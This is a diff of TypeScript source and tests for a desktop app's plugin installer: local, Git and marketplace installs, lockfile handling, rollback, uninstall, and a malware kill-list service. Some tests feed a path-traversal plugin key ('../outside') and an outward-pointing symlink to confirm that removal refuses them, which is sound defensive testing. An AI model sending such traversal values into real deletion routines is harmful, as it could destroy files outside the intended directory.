expect(repaired.plugins[second.pluginKey]?.contentHash).toBe(second.contentHash)
const persisted = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
plugins: Record<string, { contentHash?: string }>
}
expect(persisted.plugins[second.pluginKey]?.contentHash).toBe(second.contentHash)
})
it('rejects a manifest whose declared panel artifact is missing', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath, { includePanel: false })
const result = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(result).toMatchObject({ ok: false })
})
it('rejects an oversized manifest without reading an unbounded JSON payload', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
const manifestPath = join(sourcePath, 'orca-plugin.json')
await writeFile(manifestPath, '')
await truncate(manifestPath, PLUGIN_MANIFEST_MAX_BYTES + 1)
const result = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(result).toMatchObject({ ok: false, error: expect.stringContaining('exceeds') })
})
it('serializes concurrent installs so lockfile entries are not lost', async () => {
const firstSource = await tempRoot('orca-plugin-source-')
const secondSource = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(firstSource, { id: 'first' })
await writePluginSource(secondSource, { id: 'second' })
const results = await Promise.all([
installPluginFromLocalPath({ pluginsDir, sourcePath: firstSource, hostVersion: '1.4.0' }),
installPluginFromLocalPath({ pluginsDir, sourcePath: secondSource, hostVersion: '1.4.0' })
])
expect(results.every((result) => result.ok)).toBe(true)
const lock = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
plugins: Record<string, unknown>
}
expect(Object.keys(lock.plugins).sort()).toEqual(['orca-samples.first', 'orca-samples.second'])
})
it('serializes concurrent lockfile publications without temporary-file collisions', async () => {
const pluginsDir = await tempRoot('orca-plugin-installs-')
const lock = { version: 1 as const, plugins: {} }
await expect(
Promise.all([
writePluginLockfile(pluginsDir, lock),
writePluginLockfile(pluginsDir, lock),
writePluginLockfile(pluginsDir, lock)
])
).resolves.toHaveLength(3)
await expect(readPluginLockfile(pluginsDir)).resolves.toEqual(lock)
})
it('refuses to repoint at a tampered existing content directory', async () => {
const sourcePath = await tempRoot('orca-plugin-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
const first = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(first.ok).toBe(true)
if (!first.ok) {
return
}
await writeFile(
join(pluginsDir, first.pluginKey, first.contentHash, 'panel.html'),
'<h1>Tampered</h1>'
)
const second = await installPluginFromLocalPath({
pluginsDir,
sourcePath,
hostVersion: '1.4.0'
})
expect(second).toMatchObject({
ok: false,
error: expect.stringContaining('integrity verification')
})
})
})
describe('installPluginFromGit', () => {
it('uses system Git, resolves the requested ref, and installs its exact bytes', async () => {
const sourcePath = await tempRoot('orca-plugin-git-source-')
const pluginsDir = await tempRoot('orca-plugin-installs-')
await writePluginSource(sourcePath)
await execFileAsync('git', ['init', '--quiet'], { cwd: sourcePath })
await execFileAsync('git', ['config', 'user.email', 'plugins@example.invalid'], {
cwd: sourcePath
})
await execFileAsync('git', ['config', 'user.name', 'Plugin Test'], { cwd: sourcePath })
await execFileAsync('git', ['add', '.'], { cwd: sourcePath })
await execFileAsync('git', ['commit', '--quiet', '-m', 'fixture'], { cwd: sourcePath })
await execFileAsync('git', ['tag', 'v1.0.0'], { cwd: sourcePath })
const { stdout: commitStdout } = await execFileAsync('git', ['rev-parse', 'HEAD'], {
cwd: sourcePath
})
const configKeys = ['GIT_CONFIG_COUNT', 'GIT_CONFIG_KEY_0', 'GIT_CONFIG_VALUE_0'] as const
const previous = Object.fromEntries(configKeys.map((key) => [key, process.env[key]]))
process.env.GIT_CONFIG_COUNT = '1'
process.env.GIT_CONFIG_KEY_0 = `url.${pathToFileURL(sourcePath).href}.insteadOf`
process.env.GIT_CONFIG_VALUE_0 = 'https://plugin.test/demo.git'
try {
const result = await installPluginFromGit({
pluginsDir,
url: 'https://plugin.test/demo.git',
ref: 'v1.0.0',
hostVersion: '1.4.0'
})
expect(result).toMatchObject({ ok: true, resolvedCommit: commitStdout.trim() })
if (result.ok) {
await expect(
readFile(join(pluginsDir, result.pluginKey, result.contentHash, 'panel.html'), 'utf8')
).resolves.toBe('<h1>Panel</h1>')
}
} finally {
for (const key of configKeys) {
const value = previous[key]
if (value === undefined) {
delete process.env[key]
} else {
process.env[key] = value
}
}
}
})
})
describe('removeInstalledPlugin', () => {
it('rejects an unqualified or traversing key before removing anything', async () => {
const pluginsDir = await tempRoot('orca-plugin-installs-')
const pluginsDataDir = await tempRoot('orca-plugin-data-')
const outside = join(await tempRoot('orca-plugin-outside-'), 'keep.txt')
await writeFile(outside, 'keep')
await expect(
removeInstalledPlugin({ pluginsDir, pluginsDataDir, pluginKey: '../outside' })
).rejects.toThrow('invalid qualified plugin key')
await expect(readFile(outside, 'utf8')).resolves.toBe('keep')
})
it('rejects a resolved uninstall target outside its root', async () => {
const pluginsDir = await tempRoot('orca-plugin-installs-')
const pluginsDataDir = await tempRoot('orca-plugin-data-')
const outside = await tempRoot('orca-plugin-outside-')
const marker = join(outside, 'keep.txt')
await writeFile(marker, 'keep')
await symlink(
outside,
join(pluginsDir, 'orca-samples.demo'),
process.platform === 'win32' ? 'junction' : 'dir'
)
await expect(
removeInstalledPlugin({
pluginsDir,
pluginsDataDir,
pluginKey: 'orca-samples.demo'
})
).rejects.toThrow('outside')
await expect(readFile(marker, 'utf8')).resolves.toBe('keep')
})
it('removes qualified install and data directories', async () => {
const pluginsDir = await tempRoot('orca-plugin-installs-')
const pluginsDataDir = await tempRoot('orca-plugin-data-')
const key = 'orca-samples.demo'
await mkdir(join(pluginsDir, key))
await mkdir(join(pluginsDataDir, key))
await writeFile(join(pluginsDir, key, 'content'), 'installed')
await writeFile(join(pluginsDataDir, key, 'storage.json'), '{}')
await removeInstalledPlugin({ pluginsDir, pluginsDataDir, pluginKey: key })
await expect(readFile(join(pluginsDir, key, 'content'))).rejects.toThrow()
await expect(readFile(join(pluginsDataDir, key, 'storage.json'))).rejects.toThrow()
})
})

View File

@ -0,0 +1,319 @@
import { mkdtemp, readdir, realpath, rm } from 'node:fs/promises'
import { existsSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { isAbsolute, join, relative, resolve, sep } from 'node:path'
import {
PLUGIN_MANIFEST_FILENAME,
isQualifiedPluginKey
} from '../../shared/plugins/plugin-manifest'
import {
isAllowedPluginGitUrl,
PLUGIN_COMMIT_PATTERN,
PLUGIN_CONTENT_HASH_PATTERN,
pluginInstallSourceSchema,
removePluginLock
} from '../../shared/plugins/plugin-install-lockfile'
import { readPluginLockfile, writePluginLockfile } from './plugin-install-lockfile-store'
import {
inspectPluginInstallTree,
installStagedPluginTree,
type PluginInstallResult
} from './plugin-install-staging'
import { checkoutPluginGitSource } from './plugin-git-repository'
import { readPluginCurrentPointer } from './plugin-current-pointer'
import { readPluginInstallProvenance } from './plugin-install-provenance'
import { publishPluginInstall } from './plugin-install-publication'
export type { PluginInstallResult } from './plugin-install-staging'
export {
PLUGIN_LOCKFILE_MAX_BYTES,
pluginLockfilePath,
readPluginLockfile
} from './plugin-install-lockfile-store'
/**
* Plugin installer, v0 sources: local path + git URL `#ref`. Git operations
* shell out to SYSTEM git (execFile, argv arrays never a shell string, and
* never a vendored checkout: private repos must work with the user's
* existing credential helpers and SSH remotes). No script execution during
* install, ever the installer copies files, nothing more.
*
* Installs land in immutable hash-addressed dirs behind an atomic pointer
* swap; the previous version dir is kept for one-step rollback.
*/
const pluginMutationChains = new Map<string, Promise<void>>()
async function serializePluginMutation<T>(
pluginsDir: string,
operation: () => Promise<T>
): Promise<T> {
const previous = pluginMutationChains.get(pluginsDir) ?? Promise.resolve()
const run = previous.catch(() => undefined).then(operation)
const settled = run.then(
() => undefined,
() => undefined
)
pluginMutationChains.set(pluginsDir, settled)
try {
return await run
} finally {
if (pluginMutationChains.get(pluginsDir) === settled) {
pluginMutationChains.delete(pluginsDir)
}
}
}
export async function installPluginFromLocalPath(input: {
pluginsDir: string
sourcePath: string
hostVersion: string
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginInstallResult> {
return serializePluginMutation(input.pluginsDir, async () => {
if (!existsSync(join(input.sourcePath, PLUGIN_MANIFEST_FILENAME))) {
return { ok: false, error: `no ${PLUGIN_MANIFEST_FILENAME} found in ${input.sourcePath}` }
}
return installStagedPluginTree({
pluginsDir: input.pluginsDir,
stagingDir: input.sourcePath,
hostVersion: input.hostVersion,
source: { kind: 'local-path', path: input.sourcePath },
resolvedCommit: null,
blockedPluginReason: input.blockedPluginReason
})
})
}
export async function installBundledPlugin(input: {
pluginsDir: string
sourcePath: string
hostVersion: string
expectedPluginKey: string
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginInstallResult> {
return serializePluginMutation(input.pluginsDir, () =>
installStagedPluginTree({
pluginsDir: input.pluginsDir,
stagingDir: input.sourcePath,
hostVersion: input.hostVersion,
source: { kind: 'bundled', bundleId: input.expectedPluginKey },
resolvedCommit: null,
expectedPluginKey: input.expectedPluginKey,
repairCorruptedVersion: true,
blockedPluginReason: input.blockedPluginReason
})
)
}
export async function installPluginFromGit(input: {
pluginsDir: string
url: string
/** `#ref` suffix: branch, tag, or full commit SHA. Empty = default branch. */
ref: string
hostVersion: string
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginInstallResult> {
if (!isAllowedPluginGitUrl(input.url)) {
return { ok: false, error: 'plugin Git URL must use HTTPS or SSH' }
}
return serializePluginMutation(input.pluginsDir, async () => {
const stagingDir = await mkdtemp(join(tmpdir(), 'orca-plugin-install-'))
try {
const ref = input.ref.trim()
const resolvedCommit = await checkoutPluginGitSource({
url: input.url,
ref,
destination: stagingDir,
workingDirectory: tmpdir()
})
return await installStagedPluginTree({
pluginsDir: input.pluginsDir,
stagingDir,
hostVersion: input.hostVersion,
source: { kind: 'git', url: input.url, ref },
resolvedCommit,
blockedPluginReason: input.blockedPluginReason
})
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
} finally {
await rm(stagingDir, { recursive: true, force: true })
}
})
}
export async function installPluginFromMarketplace(input: {
pluginsDir: string
hostVersion: string
expectedPluginKey: string
expectedResolvedCommit: string
marketplace: { url: string; ref: string; resolvedCommit: string }
plugin: { url: string; ref: string }
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginInstallResult> {
const source = pluginInstallSourceSchema.parse({
kind: 'marketplace',
marketplace: input.marketplace,
plugin: input.plugin
})
if (!isQualifiedPluginKey(input.expectedPluginKey)) {
return { ok: false, error: 'invalid marketplace plugin identity' }
}
if (!PLUGIN_COMMIT_PATTERN.test(input.expectedResolvedCommit)) {
return { ok: false, error: 'invalid previewed plugin commit' }
}
return serializePluginMutation(input.pluginsDir, async () => {
const stagingDir = await mkdtemp(join(tmpdir(), 'orca-plugin-marketplace-install-'))
try {
const resolvedCommit = await checkoutPluginGitSource({
url: input.plugin.url,
ref: input.plugin.ref,
destination: stagingDir,
workingDirectory: tmpdir()
})
if (resolvedCommit !== input.expectedResolvedCommit) {
return { ok: false, error: 'plugin source changed after preview; review the update again' }
}
return await installStagedPluginTree({
pluginsDir: input.pluginsDir,
stagingDir,
hostVersion: input.hostVersion,
source,
resolvedCommit,
expectedPluginKey: input.expectedPluginKey,
blockedPluginReason: input.blockedPluginReason
})
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
} finally {
await rm(stagingDir, { recursive: true, force: true })
}
})
}
/** Restores the single retained immutable predecessor. The old consent
* fingerprint becomes current again, so enablement still fails closed until
* the user has approved those exact bytes. */
export async function rollbackInstalledPlugin(input: {
pluginsDir: string
pluginKey: string
hostVersion: string
blockedPluginReason?: (pluginKey: string) => string | null
}): Promise<PluginInstallResult> {
if (!isQualifiedPluginKey(input.pluginKey)) {
return { ok: false, error: 'invalid qualified plugin key' }
}
const blockedReason = input.blockedPluginReason?.(input.pluginKey)
if (blockedReason) {
return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
}
return serializePluginMutation(input.pluginsDir, async () => {
const pluginDir = join(input.pluginsDir, input.pluginKey)
const currentContentHash = await readPluginCurrentPointer(pluginDir).catch(() => null)
if (!currentContentHash) {
return { ok: false, error: 'installed plugin has no current version' }
}
const candidates = (await readdir(pluginDir, { withFileTypes: true }).catch(() => []))
.filter(
(entry) =>
entry.isDirectory() &&
PLUGIN_CONTENT_HASH_PATTERN.test(entry.name) &&
entry.name !== currentContentHash
)
.map((entry) => entry.name)
if (candidates.length !== 1) {
return {
ok: false,
error:
candidates.length === 0
? 'no rollback version is available'
: 'rollback state is ambiguous'
}
}
const contentHash = candidates[0]!
const provenance = await readPluginInstallProvenance(pluginDir, contentHash)
if (
!provenance ||
provenance.pluginKey !== input.pluginKey ||
provenance.contentHash !== contentHash
) {
return { ok: false, error: 'rollback version has no valid install provenance' }
}
const inspection = await inspectPluginInstallTree({
rootDir: join(pluginDir, contentHash),
hostVersion: input.hostVersion,
expectedPluginKey: input.pluginKey
})
if (!inspection.ok || inspection.contentHash !== contentHash) {
return {
ok: false,
error: inspection.ok ? 'rollback version failed integrity verification' : inspection.error
}
}
try {
await publishPluginInstall({ pluginsDir: input.pluginsDir, pluginDir, entry: provenance })
} catch (error) {
return { ok: false, error: error instanceof Error ? error.message : String(error) }
}
return {
ok: true,
pluginKey: input.pluginKey,
version: inspection.manifest.version,
contentHash,
consentFingerprint: provenance.consentFingerprint,
resolvedCommit: provenance.resolvedCommit
}
})
}
/** Removes the install dir, the plugin's data dir, and the lock entry. */
export async function removeInstalledPlugin(input: {
pluginsDir: string
pluginsDataDir: string
pluginKey: string
}): Promise<void> {
await serializePluginMutation(input.pluginsDir, async () => {
if (!isQualifiedPluginKey(input.pluginKey)) {
throw new Error(`invalid qualified plugin key: ${input.pluginKey}`)
}
await removeResolvedPluginDirectory(input.pluginsDir, input.pluginKey)
await removeResolvedPluginDirectory(input.pluginsDataDir, input.pluginKey)
await writePluginLockfile(
input.pluginsDir,
removePluginLock(await readPluginLockfile(input.pluginsDir), input.pluginKey)
)
})
}
async function removeResolvedPluginDirectory(rootDir: string, pluginKey: string): Promise<void> {
let rootReal: string
let targetReal: string
try {
rootReal = await realpath(resolve(rootDir))
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
return
}
throw error
}
try {
targetReal = await realpath(resolve(rootDir, pluginKey))
} catch (error) {
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
return
}
throw error
}
const fromRoot = relative(rootReal, targetReal)
if (
fromRoot.length === 0 ||
isAbsolute(fromRoot) ||
fromRoot === '..' ||
fromRoot.startsWith(`..${sep}`)
) {
throw new Error(`refusing to remove plugin path outside ${rootReal}`)
}
await rm(resolve(rootDir, pluginKey), { recursive: true, force: true })
}

View File

@ -0,0 +1,30 @@
import { hasInstructionalPluginContributions } from '../../shared/plugins/plugin-consent-fingerprint'
import { hashPluginTree } from './plugin-content-hash'
import type { ValidDiscoveredPlugin } from './plugin-discovery'
/** Instructional bytes execute later, so every read must still match the tree
* identity the user reviewed rather than a cached discovery-time snapshot. */
export async function verifyInstructionalPluginContent(
plugin: ValidDiscoveredPlugin
): Promise<void> {
if (!hasInstructionalPluginContributions(plugin.manifest)) {
return
}
if (!plugin.consentContentHash) {
throw new Error(`plugin ${plugin.pluginKey} has no instructional consent content identity`)
}
const actual = await hashPluginTree(plugin.rootDir)
if (!actual.ok) {
throw new Error(
`plugin ${plugin.pluginKey} instructional content is unreadable: ${actual.error}`
)
}
const matches =
actual.hash === plugin.consentContentHash ||
(plugin.consentContentHash.length === 32 && actual.hash.startsWith(plugin.consentContentHash))
if (!matches) {
throw new Error(
`plugin ${plugin.pluginKey} instructional content changed since it was reviewed`
)
}
}

View File

@ -0,0 +1,111 @@
import { mkdtemp, rm } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, describe, expect, it, vi } from 'vitest'
import type { PluginKillList } from '../../shared/plugins/plugin-kill-list'
import { fetchPluginKillList, PluginKillListService } from './plugin-kill-list-service'
import type { PluginKillListStore } from './plugin-kill-list-store'
const roots: string[] = []
async function tempRoot(): Promise<string> {
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-kill-list-'))
roots.push(root)
return root
}
function killList(date = '2026-07-12T20:00:00Z'): PluginKillList {
return {
version: 1,
generatedAt: date,
plugins: [{ pluginKey: 'community.unsafe', reason: 'Malware advisory' }]
}
}
afterEach(async () => {
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
})
describe('PluginKillListService', () => {
it('loads cached revocations before any network refresh', async () => {
const root = await tempRoot()
const first = new PluginKillListService({
pluginsDataDir: root,
fetcher: async () => killList()
})
await first.refresh()
const fetcher = vi.fn(async () => killList())
const restarted = new PluginKillListService({ pluginsDataDir: root, fetcher })
await restarted.initialize()
expect(restarted.reason('community.unsafe')).toBe('Malware advisory')
expect(fetcher).not.toHaveBeenCalled()
})
it('publishes valid refreshes and notifies runtime reconciliation', async () => {
const service = new PluginKillListService({
pluginsDataDir: await tempRoot(),
fetcher: async () => killList()
})
const changed = vi.fn()
service.onChanged(changed)
await service.refresh()
expect(service.find('community.unsafe')).toMatchObject({ reason: 'Malware advisory' })
expect(changed).toHaveBeenCalledTimes(1)
})
it('starts with no revocations after a corrupt cache and accepts a valid refresh', async () => {
const store = {
read: vi.fn().mockRejectedValue(new Error('invalid JSON')),
write: vi.fn().mockResolvedValue(undefined)
} as unknown as PluginKillListStore
const warning = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
const service = new PluginKillListService({
pluginsDataDir: await tempRoot(),
store,
fetcher: async () => killList()
})
await expect(service.initialize()).resolves.toBeUndefined()
expect(service.snapshot()).toBeNull()
await expect(service.refresh()).resolves.toEqual(killList())
expect(service.reason('community.unsafe')).toBe('Malware advisory')
expect(warning).toHaveBeenCalledWith(
'[plugins] ignoring invalid cached plugin safety list:',
expect.any(Error)
)
})
it('rejects a replayed older snapshot without replacing cached revocations', async () => {
const fetcher = vi
.fn<() => Promise<PluginKillList>>()
.mockResolvedValueOnce(killList('2026-07-12T20:00:00Z'))
.mockResolvedValueOnce(killList('2026-07-11T20:00:00Z'))
const service = new PluginKillListService({ pluginsDataDir: await tempRoot(), fetcher })
await service.refresh()
await expect(service.refresh()).rejects.toThrow('older snapshot')
expect(service.snapshot()?.generatedAt).toBe('2026-07-12T20:00:00Z')
})
})
describe('fetchPluginKillList', () => {
it('validates a bounded HTTPS response body', async () => {
const fetcher = vi.fn<typeof fetch>().mockResolvedValue(
new Response(JSON.stringify(killList()), {
status: 200,
headers: { 'content-type': 'application/json' }
})
)
await expect(fetchPluginKillList(fetcher)).resolves.toEqual(killList())
})
it('rejects non-success responses', async () => {
const fetcher = vi.fn<typeof fetch>().mockResolvedValue(new Response('no', { status: 503 }))
await expect(fetchPluginKillList(fetcher)).rejects.toThrow('HTTP 503')
})
})

Some files were not shown because too many files have changed in this diff Show More